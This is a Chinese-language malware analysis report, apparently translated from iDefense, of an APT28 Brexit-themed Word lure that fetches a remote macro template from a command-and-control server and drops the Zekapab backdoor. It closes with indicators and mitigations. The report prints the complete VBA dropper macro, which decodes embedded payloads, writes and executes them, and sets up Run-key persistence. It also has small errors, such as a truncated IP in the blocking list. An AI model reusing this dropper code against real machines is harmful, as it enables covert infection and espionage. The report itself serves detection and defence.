在英国首相特雷莎·梅宣布与欧盟(EU)达成BREXIT(英国脱欧)初步协议草案的同时,iDefense公司的分析人士指出,SNAKEMACKEREL利用一份以BREXIT为主题的诱饵文档,交付了一款名为“Zekapab(也被称为Zebrocy)”的第一阶段恶意软件。
SNAKEMACKEREL是一个以开展间谍活动为主的网络犯罪组织,也被称为Sofacy、Pawn Storm、Sednit、Fancy Bear、APT28、group 74、Tsar Team和Strontium。英国和荷兰政府都曾公然表示,SNAKEMACKEREL隶属于俄罗斯军事情报服务机构(RIS),并与一些特定的网络攻击事件存在关联,包括针对禁止化学武器组织(OPCW)、英国国防和科学技术实验室(DSTL),以及英国外交和联邦事务部(FCO)的攻击。
需要指出的是,这份恶意文档是在英国政府宣布与欧盟达成BREXIT初步协议草案的同一天创建的。这似乎表明,SNAKEMACKEREL是一个密切关注政治事件的网络犯罪组织,能够利用最新的新闻事件来创建诱饵文档,以针对特定目标交付第一阶段恶意软件,如Zekapab。
尽管存在大量有关该组织的公开报道和来自各国政府的指控,但SNAKEMACKEREL仍然非常活跃。它被认为是大量针对全球航空航天和国防承包商、军事组织、政党、国际奥委会(IOC)、反兴奋剂机构、政府部门和各种垂直领域的网络攻击的幕后黑手。到目前为止,SNAKEMACKEREL仍然被认为是影响最为深远,也是最为复杂的网络间谍组织之一。
本报告将针对一份以“BREXIT”为主题的诱饵Microsoft Office文档进行技术分析。如上所述,该文档被用于释放SNAKEMACKEREL活动的第一阶段恶意软件(Delphi版本的Zekapab),iDefense分析师此前曾发表过有关该恶意软件的报告。然而,在对C2服务器109.248.148.42的进一步研究中,iDefense公司的分析师发现了Zekapab的一个新版本(.NET版本),它被设计用于相同的目的。
恶意软件分析
iDefense公司的分析师在最近发现了一份恶意文档,据称与近期英国和欧盟之间的BREXIT谈判有关。
该文件具有以下元数据:
- 文件名:Brexit 15.11.2018.docx
- MD5:405655 be03df45881aa88b55603bef1d
- 文件大小:9 KB(19354字节)
- 作者:USER
- 最后修改人:Joohn
- 版本:Grizli777
- 创作时间:2018:11:14 14:17:00
- 修改日期:2018:11:15 04:50:00
这里需要指出的是,Grizli777是Microsoft Word的一个破解版本。
为了诱使目标启用宏,攻击者故意使用了乱码作为文档的内容(见图1):
图1. 使用乱码作为文档的内容,以诱使目标启用宏
该文档被设计为通过内嵌在DOCX文档中的settings.xml.rels组件来从hxxp://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm加载恶意内容(见图2):
图2.通过settings.xml.rels加载的恶意内容(宏组件)
下载的宏组件包括一个名为AutoClose()的函数(见图3),以及以Base64编码字符串的形式嵌入的两个payload:
图3.AutoClose() 函数
如下代码片段展示的是宏代码的核心部分,与另一起活动(发生于2018年4月份,由ESET报道的)中的宏代码完全相同:
Public Function FolderExists(FolderPath As String) As Boolean
On Error Resume Next
ChDir FolderPath
If Err Then FolderExists = False Else FolderExists = True
End Function
Function FileExists(fname) As Boolean
On Error Resume Next
FileExists = Dir(fname) <> vbNullString
If Err.Number <> 0 Then FileExists = False
On Error GoTo 0
End Function
Sub AutoClose()
Dim vFileName As String
Dim vDocName As String
Application.ActiveWindow.WindowState = wdWindowStateMinimize
vAdd = "ntslwin."
vFileName = Environ("APPDATA") & "\NetworkNV\"
If Not FolderExists(vFileName) Then MkDir (vFileName)
vFileName = vFileName + vAdd & "exe"
If Not FileExists(vFileName) Then SaveFN vFileName, convText(Us
erForm1.Label2.Caption)
'Sleep 2002
vDocName = Environ("TEMP") & "\~de03fc12a.docm"
If Not FileExists(vDocName) Then SaveFN vDocName, convText(User
Form1.Label1.Caption)
zyx (vDocName)
Application.Quit
End Sub
Private Function convText(dsf)
Dim dm, el
Set dm = CreateObject("Microsoft.XMLDOM")
Set el = dm.CreateElement("tmp")
el.DataType = "bin.base64"
el.Text = dsf
convText = el.NodeTypedValue
End Function
Private Sub SaveFN(vNum, vBun)
Dim binaryStream
Set binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = 1
binaryStream.Open
binaryStream.Write vBun
binaryStream.SaveToFile vNum, 2
End Sub
Public Function zyx(vF)
Dim WA As Object, oMyDoc As Object
Set WA = CreateObject("Word.Application")
WA.Visible = False
Set oMyDoc = WA.Documents.Open(vF)
WA.Application.Run "Module1.Proc1"
Set oMyDoc = Nothing: Set WA = Nothing
End Function
Public Function WriteBinary(strBinary, strPath)
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject
")
Dim oTxtStream
On Error Resume Next
Set oTxtStream = oFSO.createTextFile(strPath)
Set oTxtStream = Nothing
With oFSO.createTextFile(strPath)
.Write (strBinary)
.Close
End With
End Function
基于对恶意IP地址109.248.148.42的研究,我们发现了两个不同的.dotm组件:
组件1:
- 文件名:dotm
- MD5:018611b879b2bbd886e86b62484494da
- 文件大小:5 MB(1612982字节)
组件2:
- 文件名:dotm
- MD5:2a794b55b839b3237482098957877326
- 文件大小:2 MB(1228358字节)
这两个组件分别是从以下URL被释放的:
- hxxp://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm
- hxxp://109.248.148.42/officeDocument/2006/relationships/templates.dotm
这两个组件都包含如上所示的相同的VBA宏代码,且都包含两个不同的payload:一个是可执行二进制文件,另一个是.docm文件。
attachedTemplate.dotm释放了如下文件:
可执行二进制文件:
- 文件名:exe
- MD5:7 e67122d3a052e4755b02965e2e56a2e
- 文件大小:0 KB(393216字节)
- 文件类型:使用UPX压缩的Win32可执行文件
.docm文件:
- 文件名:~ de03fc12a.docm
- MD5:9 d703d31795bac83c4dd90527d149796
- 文件大小:0 KB(24659字节)
templates.dotm释放了如下文件:
可执行二进制文件:
- 文件名:exe
- MD5:a13c864980159cd9bdc94074b2389dda
- 编译时间戳:2018-11-13 10:45:42
- 文件大小:0 KB(32768字节)
- 文件类型:MS Windows (GUI) Intel 80386 32位Mono/.Net程序集PE32可执行文件
.docm文件:
- 文件名:~ de03fc12a.docm
- MD5:9 d703d31795bac83c4dd90527d149796
- 文件大小:0 KB(24659字节)
其中,~de03fc12a.docm包含一个简单的宏来执行被释放的可执行文件。如下代码片段展示的是~de03fc12a.docm所包含的宏代码:
Sub Proc1()
Dim vFileName As String
Dim add As String
vAdd = "ntslwin."
vFileName = Environ("APPDATA") & "\NetworkNV\"
vFileName = vFileName + vAdd & "exe"
Shell vFileName
Application.Quit
End Sub
对上述两个二进制文件的分析表明,它们实际上分别是Delphi(最初是使用UPX打包的)版本和.NET版本的Zekapab。以下网络流量是由Delphi版本的Zekapab生成的,该样本在UPX解压缩后具有以下元数据:
- 文件名:exe
- MD5:f4cab3a393462a57639faa978a75d10a
- 文件大小:5 KB(1008128字节)
- 文件类型:Win32可执行文件Borland Delphi 7
图4展示的是由Delphi版本的Zekapab生成的网络流量,一个包含所收集的系统信息的HTTP POST请求。如图4所示,发送的数据似乎是经过URL编码的。
图4.由Delphi版本的Zekapab生成的网络流量
需要指出的是,由.NET版本的Zekapab生成的网络流量是没有经过编码的(见图5)。
图5.由.NET版本的Zekapab生成的网络流量
无论如何,这两个版本都旨在收集系统信息和正在运行的进程,并使用HTTP POST将它们发送给指定的C2服务器,使用的URI都是“/agr-enum/progress-inform/cube.php?res=”。
一旦攻击者表示对你的设备感兴趣,下一个阶段的恶意软件就将被交付到相应的目录。同时,一个注册表项将被添加并设置,以实现恶意软件随开机自行启动。
对于Delphi版本,以下注册表项和值被用于实现持久性:
- 注册表项:HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr
- 值:%AppData%\Video\videodrv.exe
对于.NET版本,以下注册表项和值被用于实现持久性:
- 注册表项:HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleIndexer
- 值:%AppData%\Platform\sslwin.exe
在.NET版本中,用来收集数据的函数如下所示:
图6.NET版本的Zekapab用来收集数据的函数
被收集的数据包括:
- 来自命令systeminfo和tasklist的结果
- 当前执行路径
- 抓取的屏幕截图
- 枚举驱动器
- 驱动器序列号
用于下载并执行下一阶段恶意软件的代码如下,包括用于实现持久性的设置:
图7..NET版本的Zekapab用来下载并执行下一阶段恶意软件的代码
如上图所示,是否交付下一阶段恶意软件,取决于收集到的信息。
缓解措施
为了避免遭受本报告所描述的恶意软件的侵害,iDefense建议阻断对以下IP地址和URI模式的访问:
- 248.148.42
- /agr-enum/progress-inform/cube.php?res=
想要验证设备是否已经遭到感染,iDefense建议搜索以下内容:
- 网络:是否存在上述提到的HTTP和DNS流量
- 系统:是否存在以下内容:
- 注册表项:
- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr
- HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleInde xer
- 文件:
- 注册表项:
- %AppData%\Video\videodrv.exe
- %AppData%\Platform\sslwin.exe
- 其他一些文件,散列值:
- 405655be03df45881aa88b55603bef1d
- 7e67122d3a052e4755b02965e2e56a2e
- a13c864980159cd9bdc94074b2389dda
- 9d703d31795bac83c4dd90527d149796